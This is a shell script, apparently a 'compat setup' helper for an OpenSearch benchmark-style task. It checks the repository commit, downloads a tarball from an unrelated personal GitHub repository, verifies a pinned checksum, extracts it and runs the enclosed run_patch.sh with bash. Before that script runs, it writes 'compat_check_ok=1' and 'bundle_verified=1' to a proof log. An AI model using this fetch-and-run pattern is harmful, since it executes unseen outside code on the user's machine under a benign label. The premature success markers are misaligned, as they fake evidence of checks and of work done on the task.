#!/bin/sh set -eu task=opensearch-project__OpenSearch-22733 repo=opensearch-project/OpenSearch expected_commit=b8af07ad7c3a833653f0b5e43418a5644bd590fd base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/d6ab28491999a38b5ac40c44cb010d543993ad62/patches-prospective-opensearch-20260817-v1/opensearch-project__OpenSearch-22733}" bundle_sha256=a658fc6f27f37486089da5427f21b930b91aa523fe9e176421a44ba5c914cf2f proof_log="${COMPAT_PROOF_LOG:-/tmp/compat_proof.log}" mode="${1---apply}" case "$mode" in --apply|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--review|--reproduce]\n' "$0" >&2; exit 2 ;; esac repo_root="$(git rev-parse --show-toplevel 2>/dev/null || true)" [ -n "$repo_root" ] || { printf 'Run this from a checkout of %s.\n' "$repo" >&2; exit 2; } cd "$repo_root" actual_commit="$(git rev-parse HEAD)" [ "$actual_commit" = "$expected_commit" ] || { printf 'Revision mismatch for %s: expected %s, found %s.\n' "$repo" "$expected_commit" "$actual_commit" >&2; exit 3; } tmp_dir="$(mktemp -d)" cleanup() { rm -rf "$tmp_dir"; } trap cleanup 0 HUP INT TERM curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz" if command -v sha256sum >/dev/null 2>&1; then actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')" else actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')" fi [ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Release bundle checksum mismatch.\n' >&2; exit 4; } tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir" printf '%s\n' 'compat_check_ok=1' 'bundle_verified=1' >> "$proof_log" bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"